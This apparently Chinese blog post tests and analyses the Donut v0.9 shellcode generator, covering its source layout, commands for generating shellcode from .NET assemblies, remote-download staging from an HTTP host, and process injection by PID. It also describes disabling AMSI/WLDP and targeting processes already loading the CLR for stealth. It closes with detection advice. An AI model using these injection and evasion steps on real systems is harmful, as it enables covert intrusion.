Good in study, attitude and health

Shellcode生成工具Donut测试分析

0x00 前言


Donut是一个shellcode生成工具,可以将.NET程序集转换为shellcode。这是对execute-assembly的进一步利用,隐蔽性更高,可扩展性更强。

结合byt3bl33d3r的SILENTTRINITY,将其转换为shellcode并进行注入,适用性更广。

本文将会对Donut进行测试,逐个分析Donut工程中的代码,总结这个工具的特点。

注:

本文测试的版本使用的是Donut v0.9,新版本将会添加更多的功能,值得持续关注

Donut地址:

https://github.com/TheWover/donut

介绍Donut细节的文章:

https://thewover.github.io/Introducing-Donut/

https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

0x01 简介


本文将要介绍以下内容:

  • 相关技术介绍
  • 源码结构
  • 实际测试
  • 利用分析

0x02 相关技术介绍


1.Assembly.Load

用于在当前进程中加载.NET程序集,无法注入其他进程

.NET程序集的测试代码:

namespace ConsoleApplication1
{
    public class Program
    {
        public static void test()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";  
            p.Start();
        }
        static void Main(string[] args)
        {
            test();
        }   
    }
}

加载这个.NET程序集的时候会弹出计算器,用作验证功能

(1)Powershell实现Assembly.Load

$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()

注:

可参考之前的文章《利用Assembly Load & LoadFile绕过Applocker的分析总结》

(2)C#实现Assembly.Load

https://github.com/anthemtotheego/SharpCradle

代码实现了从远程服务器下载.NET程序集并通过Assembly.Load进行加载

2.execute-assembly

从内存中加载.NET程序集,能够以dll的形式注入到其他进程中

注:

可参考之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》

整个过程在内存执行,不写入文件系统(此时注入dll需要使用Dll反射)

Payload以dll形式存在,不会产生可疑的进程

注:

如果使用Loadlibrary加载dll,dll必须写入文件系统

3.Donut

基于execute-assembly,以shellcode的形式实现从内存中加载.NET程序集

优点是注入到其他进程时不再依赖于Dll反射,更隐蔽,更易于扩展

更隐蔽是指注入其他进程时不会存在dll

更易于扩展是指能够执行shellcode的方法都可以使用Donut,基于Donut的二次开发也很容易

0x03 源码结构


针对0.9版本的文件

1、子项目

1.DemoCreateProcess

https://github.com/TheWover/donut/tree/master/DemoCreateProcess

c#程序,编译后生成文件ClassLibrary.dll,功能为将传入的两个参数作为启动进程

可通过Donut将其转换成shellcode,用作测试Donut生成shellcode的功能是否有效

2.DonutTest

https://github.com/TheWover/donut/tree/master/DonutTest

c#程序,编译后生成文件DonutTest.exe,用于向指定pid的进程注入shellcode

实现细节:

数组中保存base64加密后的shellcode,解密后通过CreateRemoteThread注入到指定进程

3.rundotnet.cpp

https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp

c程序,编译后的文件为rundotnet.exe,用于读取指定文件并使用CLR从内存加载.NET程序集

从内存加载.NET程序集使用的方法:

  • 使用当前系统中最新版本的.Net
  • 使用ICorRuntimeHost接口
  • 使用Load_3(…)从内存中读取并加载.NET程序集的Main方法

4.ModuleMonitor

https://github.com/TheWover/donut/tree/master/ModuleMonitor

使用WMI事件Win32_ModuleLoadTrace来监视模块加载,如果发现CLR注入,将会标记

WMI事件Win32_ModuleLoadTrace:

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace

程序中判断CLR注入的方法:

如果进程加载了CLR,但程序不是.NET程序集,则CLR已注入其中

程序中判断进程加载CLR的方法:

进程是否加载了与CLR相关的dll(mscoree.dll,mscoreei.dll和mscorlib.dll),dll以”msco”开头

这个工程一般是作防御检测用,用来检测系统是否产生了CLR注入事件,所以在启动后进程会一直执行,实时记录系统加载新模块的事件

这个地方使用tasklist.exe也能实现类似的功能,命令如下:

tasklist /m msco*

能够获得哪些进程调用了以”msco”开头的dll

5.ProcessManager

https://github.com/TheWover/donut/tree/master/ProcessManager

用于枚举当前计算机或远程计算机上的进程

同tasklist.exe的功能类似,增加以下功能:

  • 判断进程权限
  • 判断进程位数(32位还是64位)
  • 判断进程是否加载CLR

2、组件

1.https://github.com/TheWover/donut/blob/master/payload/payload.c

Donut的关键功能,实现以下操作:

(1)获得shellcode并解密

提供两种方式:

  • 从payload.h读取shellcode和解密密钥
  • 从HTTP服务器下载shellcode和解密密钥

(2)使用CLR从内存加载.NET程序集

  • 调用ICLRMetaHost::GetRuntime方法获取ICLRRuntimeInfo指针
  • 使用ICorRuntimeHost接口
  • 尝试关闭AMSI和WLDP
  • 使用Load_3(…)从内存中读取

注:

介绍关闭AMSI和WLDP的细节:

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

值得注意的地方:

通常情况下,使用ICorRuntimeHost接口时需要调用mscorlib.tlb

这里并没有使用mscorlib.tlb,是通过手动定义的方式实现

更多细节可参考:

https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

2.https://github.com/TheWover/donut/tree/master/payload/exe2h

用来将exe转换为shellcode并保存到数组中

从payload.exe中的.text段中提取已编译的机器码(包括dll和解密密钥),将其作为数组保存到payload_exe_x64.h或payload_exe_x86.h

3.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h

存储64位的机器码(包括dll和解密密钥)

4.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h

存储32位的机器码(包括dll和解密密钥)

5.https://github.com/TheWover/donut/blob/master/payload/inject.c

使用RtlCreateUserThread向指定进程注入shellcode

可用作测试向指定进程注入shellcode的功能

6.https://github.com/TheWover/donut/blob/master/payload/runsc.c

C/S架构,两个功能,可以发送和接收shellcode并执行

用于测试payload.bin的功能

7.https://github.com/TheWover/donut/blob/master/encrypt.c

对称加密的实现

8.https://github.com/TheWover/donut/blob/master/hash.c

API Hashing,这里使用了Maru hash

9.https://github.com/TheWover/donut/blob/master/donut.c

主程序,用于将.NET程序集转换成shellcode

0x04 实际测试


1、选择测试dll

这里使用子项目DemoCreateProcess

编译后生成文件ClassLibrary.dll

2、使用Donut生成shellcode

64位:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

32位:

donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

命令执行后生成文件payload.bin

如果加了-u指定URL,会再生成一个随机名称的Module文件,实例如下:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1

生成文件payload.bin和YX63F37T

将YX63F37T上传到http://192.168.1.1

接下来通过注入shellcode的方式执行payload.bin,payload.bin会从http://192.168.1.1/YX63F37T下载实际的shellcode并执行

3、查看进程信息

这里使用子项目ProcessManager

列出进程后,Managed选项如果为True,代表该进程已经加载CLR

ProcessManager支持对指定进程进行筛选,例如只查看notepad.exe的进行信息,命令如下:

ProcessManager.exe --name notepad

4、注入shellcode

假设目标进程为3306

(1)使用子项目DonutTest

将payload.bin作base64编码并保存在剪贴板,powershell命令如下:

$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

替换DonutTest工程中对应的变量,编译成功后执行如下命令:

DonutTest.exe 3306

(2)使用RtlCreateUserThread

https://github.com/TheWover/donut/blob/master/payload/inject.c

命令如下:

inject.exe 3306 payload.bin

5、检测

列出加载了CLR但不是.NET程序集的进程,命令如下:

tasklist /m msco*

0x05 利用分析


Donut能够将.NET程序集转换为shellcode

也就是说,使用C#开发的程序都能通过Donut转换成shellcode

就目前的趋势来说,C#开源的工具越来越多,例如:

  • https://github.com/GhostPack/SharpWMI
  • https://github.com/checkymander/Sharp-WMIExec
  • https://github.com/jnqpblc/SharpTask

在渗透测试中,C#将会逐步替代Powershell,Donut的利用也会是一个趋势

Donut的利用思路:

  1. 将.NET程序集转换为shellcode,例如配合SILENTTRINITY使用
  2. 作为模块集成到其他工具中
  3. 扩展功能:支持类似meterpreter的migrate功能

为了更为隐蔽,可以先使用ProcessManager列举已经加载CLR的进程,对其进行注入

Donut的检测:

Donut需要使用CLR从内存中加载.NET程序集,可采取以下方法进行检测:

  • 进程不是.NET程序集
  • 进程加载了与CLR相关的dll(dll以”msco”开头)

注:

正常程序也有可能存在这个行为

两种检测方法:

  • 使用命令tasklist /m msco*
  • 使用WMI事件Win32_ModuleLoadTrace来监视模块加载

对满足以上条件的进程重点监控

0x06 小结


本文对Donut进行了测试分析,总结利用思路,给出防御建议。Donut值得深入研究,期待Donut的新版本


LEAVE A REPLY